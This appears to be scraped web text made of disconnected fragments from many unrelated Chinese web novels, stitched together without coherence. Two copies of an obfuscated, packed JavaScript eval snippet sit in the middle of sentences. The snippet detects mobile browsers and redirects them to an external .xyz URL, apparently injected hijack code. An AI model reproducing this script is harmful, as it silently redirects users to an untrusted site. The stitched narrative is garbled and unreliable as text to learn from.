她的手艰难的伸到红衣男子的面前,还未来得及抚摸一下红衣男子的脸,红衣男子像个球体一般滚的很远,他没有手,没有脚,全身血淋淋的,只有他的脸是干净的,他的笑是温暖的。 “好了,现在可以告诉我你们此番来这幽兰洞府所为何事了吧?”长琴问道。 弃石等人一醒转过来,他们就发现自己之前入了他人的幻境,眼前的这景物明显不是百妖路!听到鼠易的阴毒之语,再加上两人已经大打出手,且都是你死我活,心中已经是明白了大半。 39:彼此的感情越来越微妙(4) “我脸太红了……丑,腿,没劲……休息,休息一会……” 叶向晚:“……” 她叹了口气,这少爷真是面子大过天。 但很快就有老师就赶来清场地,一群人被哄散,叶向晚刚想起身,就被封瑾言拽住。 “再等会……” 毕竟他们男女有别,叶向晚虽然不太在意别人的眼光,但她不能不在意别人看封 然而,当三好义兴周围的卫队试图抓捕那个向导时,却发现他已经趁着混乱在黑夜中遁走了。此刻,“向导”真田昌幸正策马飞奔在前往堺町东北一处高山的路上——那里是雨秋平的指挥部,心中满是对雨秋平的埋怨。 封颜移开捂着纪檬嫣红薄唇的掌心,双手捧住纪檬的面颊,紫眸邃然涌起让人看不懂的情绪,“我和他,没有任何关系。”极美的琼花唇瓣儿掀出薄凉的弧度。 佟国纲闻言更是无语,狠狠的敲了一下鄂伦岱的脑袋,怒道:“你都和你二叔交往了这么些年了,怎么都不清楚他那面甜心苦的性子吗? “哼!老夫看好的后辈,岂是你想杀就能够杀得了的!”而就在石王欲要将楚烨击杀的时候,忽然一股强大到了极致的灵力从楚烨的身上传出,瞬间就震退了石王,同时在楚烨的上空,瞬间就出现一道类似于灵力屏幕的东西。 “既是好酒,那便多饮。”玄袍公子招了招手,那天仙道长,竟然就主动起身,又去从马车里,拿出一个酒囊,这回直接递给杨风。 云瑶听过一笑,肯定是凌柱惹烦凌泰了。“好了,姐姐带你出去玩好不好,不带大哥。”云瑶哄着凌柱。 当然会有很多的人,被这些冲进了冰层里的变异狼撕扯着吃掉,连骨头都不剩,就这么活生生的被吃了。 楚烨闻声看去,发现是一名约莫三四十岁,长着鹰钩鼻的男子,只见他毫不掩饰的流露出了自己心中的不满,有些不悦的说到。 所有的团队与基地,都在依附安然而生存,谁有异心,将会遭到全体所有人的攻击。 安涵冷笑一声,明显的薄怒,她接过店长递过来的锦布细细擦拭着自己漂亮的手指,未了将擦手的锦布扔在了中年男人脸上。 她指着其中的一株晒得发干的药材,那些堆在一起,看不出本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860793|159427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的面目了。 凌冽的攻击并没有让沐莜莜猝不及防,她如早有准备般躲开这击。 刚才红方是在山脚,视野受阻,难攻难守,现在她们转到了山顶,局势瞬间扭转了过来,视野开拓,攻防皆可。 “一万八千多年的老妖精,竟还能如此绝色,真是难能可贵,”秦风冷着脸对她说。 发出惨叫声的是刚才看到尸体呕吐,与其他雇佣兵保持距离的雇佣兵。 简羽耸了耸肩膀,看到眼前与以往明显变得有些不同的密友,觉得这个时候还是不逼她了。 落吟安静了一回,又觉得不该说这些,仰头一笑,把沐莜莜搬到窗口光线好些的地方。 玉符火光大作,一道虚影从其中浮现,好似仙灵降临,磅礴的威压,逐渐朝着四周扩散。 沐莜莜将手搭在她的腕处,凰绯体内气息异常混乱,似乎是源于她体内的灵力跟一股另外更加强势的灵力起了冲突,在她体内对峙不下,使得凰绯一直无法醒来。 林鹿的脑袋闷在被窝里,说出的话也是闷闷的,她一直蜷在被子里,但身体却一直冷若冰窖。 40:彼此的感情越来越微妙(5) “别碰,都是汗。” “我又不嫌弃你,而且昨天走方阵前问你,你怎么不说?我也真是瞎了,居然没发现,你上辈子是忍者?” “……” 封瑾言推开门挤进房间,拉着她要拽回床上,“运动会给你请假,你好好躺着,现在我叫医生过来。” “不用。” 叶向晚倚靠在桌边,动作微顿了下缓和着眩晕 “可是······”严绾的话没有能够继续。闫亦心永远有办法用老一套堵住她的嘴。所有的抗议就在模糊的声音里,渐渐的没有了声息。 其实,在几个月前,紫瞳当真是对着易卜撒了一个谎。当时他说,自己要闭关一年来将他体内的封印解除。然后便是用从道天老道那里学来的秘法,给自己腾出了在异空间中五年的时间。 接下来的十多天,顺治倒有五六天住在坤宁宫。新进的宫妃有几个被翻了牌子。 一凡挠了挠脑袋,又用嘴吧轻轻的咬了一下这果子,却是差点大牙都被其崩掉一颗。 顾十八娘是绝对不会让哥哥陷入此等境地,至少,不是在倾巢完覆的时候陷入此等境地,那样的话,单单依靠他们兄妹二人绝对不是顾渔的对手。 “你的解药有效果没?不会解不了这毒吧?”火凰偷偷的蹭到沐风身边轻声问道。 他似乎找到事情的根源,脸上浮现一丝狰狞的笑,话音未落,便被顾十八娘捞住手,恨恨的咬了一口,剧痛让他下意识的就甩开了。 叶明净‘摸’‘摸’自己的肚子,对身边的新皇后道:“朕够不着,你来。把衣角给解开了。”两人的喜服衣角被牢牢的系在了一起。枕边还有两缕结成同心的发结。 谢素馨受不了的放声大笑,胡惜容揉着肚子,怕自己岔了气,只觉脸上酸得很,只是腾不出多余的手来揉。 慕影辰面色一沉,紧握的方向盘猛然一转,却还是不可避免的跟对面的车来了一个亲密接触。 迅速冲到窗户口,可对面黑漆漆的,什么都看不见,窗户好像也被人拉上了。 等回到望江大酒店,已经是晚上十一点多钟了。沈凝竹、宋可等人都已经睡觉了,他刚刚进入到房间中,就见到杨果正在玩着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860794|159427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电脑,眼睛瞪得老大,很精神的样子。 这可是姬妾的服饰,她若是穿上了,外人岂不是要以为她现在成了……成了司空琰绯那个倒霉鬼的妾室? “大理寺卿的新任师爷夏卫兴?夏轻萧的父亲?”云墨低眸沉声的反问。 夏轻萧根本就不会指望着他能有所回应,所以已经将接下来的台词都想好了,类似张二狗一系列如雷贯耳的名字,她随意就能起数百个,结果刚要开口,就听寒百陌醉人的嗓音细响起。 就在我又打算朝他扑过去的时候,突然一阵轰鸣声响起,仔细一听,原来是汽车发动机的声音。 可是哪知关之诺这一枪,居然会这么准,不过现在也不是多说的时候,她们二人冲上来的同时,我也动了。 “夏轻萧,你为什么要回来呢?为什么要阴魂不散?”她目光冷冽,喃喃自语。 在火神殿弟子的看押下,夏洛和龙千皇等人倒背着双手,顺着楼梯往下走。这样一直走了差不多有二三十米深,整个就像是在火炉中烘烤似的,他们身上的汗水不断地往下流淌着,却又立即被烘干。